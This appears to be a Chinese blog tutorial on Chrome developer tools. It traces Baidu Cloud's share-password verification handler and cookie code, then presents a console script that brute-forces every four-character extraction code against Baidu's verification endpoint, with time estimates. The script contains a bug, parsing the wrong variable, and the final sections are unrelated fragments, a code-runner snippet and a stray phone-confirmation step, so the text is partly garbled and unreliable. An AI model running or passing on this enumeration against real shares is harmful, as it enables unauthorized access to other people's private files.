开发者工具使用实例
1、查找事件执行函数
举例
F12打开控制台
在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接onclick="xx"等,如下图。
显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。
下面来寻找百度云的那里按钮的处理函数。
右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。
在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。
2、分析
美化展开如下(使用了Jquery库):
// JavaScript source code var requestToken = function () { var A = $("#accessCode").attr("value"),//2222 C = $("#ycode").val(),//"" B = $(".pickcode img:first").attr("verify"),//undefined _ = function () { //语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType) $.post(disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=" + (new Date().getTime()), { pwd: A, vcode: C }, function (A) { //请求成功时执行的回调函数。 var _ = null; try { _ = $.parseJSON(A); } catch (B) { } if (_ != null && _.errno == -62) { $(".ac-close").addClass("ac-open").removeClass("ac-close"); $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误 verifyCodeLoad(); } else { if (_ != null && (_.errno == -19 || _.errno == -63)) { $(".ac-close").addClass("ac-open").removeClass("ac-close"); $("#tip").css("display", "block").text("(u9a8cu8bc1u7801u9519u8bef)");//验证码错误 verifyCodeLoad(); } else { if (_ != null && _.errno == -9) { $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误 } else { if (_ == null || _.errno !== 0) { $("#tip").css("display", "block").text("(u5bc6u7801u9519u8bef)");//密码错误 } else { location.assign("/share/link" + location.search); } } } } }); }; if (A.length == 0) { $("#tip").text("(u8bf7u8f93u5165u63d0u53d6u5bc6u7801u518du63d0u4ea4)").show();//请输入提取密码再提交 return false; } else { if (B == "verify" && C.length == 0) { $("#tip").text("(u8bf7u8f93u5165u9a8cu8bc1u7801)").show();//请输入验证码 return false; } else { $("#tip").css("display", "none"); _();//发送请求 } } A = A.toLowerCase(); } |
看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。
function cookie_delete(name) //删除cookie { var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval = cookie_get(name); if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString(); } function cookie_get(name) //读取cookie { var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null; } |
3、测试
对于某ID
有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即
由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。
4、代码枚举
如果直接在控制台执行提取码枚举:
(function pwd_enumeration() { var fixed_url = disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=", letterTable = "0123456789abcdefghijklmnopqrstuvwxyz", data_vcode = "", data_pwd, post_url; var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length; var pwd_enumeration_run = function () { post_url = fixed_url + (new Date().getTime()); data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3); $.post(post_url, { pwd: data_pwd, vcode: data_vcode }, function (data) { var _ = null; try { _ = $.parseJSON(A); } catch (e) { } if (null != _ && 0 == _.errno) { console.log(data_pwd); } else { if (++pwd_idx3 >= maxidx) { pwd_idx2++; pwd_idx3 = 0; } if (pwd_idx2 >= maxidx) { pwd_idx1++; pwd_idx2 = 0; } if (pwd_idx1 >= maxidx) { pwd_idx0++; pwd_idx1 = 0; } if (pwd_idx0 < maxidx) { setTimeout(pwd_enumeration_run, 1); } else { console.log("ends without pwd found."); } } } ); }; setTimeout(pwd_enumeration_run, 1); })(); |
5、评估
如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。
在Task Manager(Shift+ECS)可以看到是否一直在执行。
6、
<textarea id="runcode"></textarea >
<input onclick="runEx('runcode')" type="button" value="运行代码">
function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open('','',''); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }
7、用自己手机接受一下,填写确认码。之后如下图删除再填写任意号码。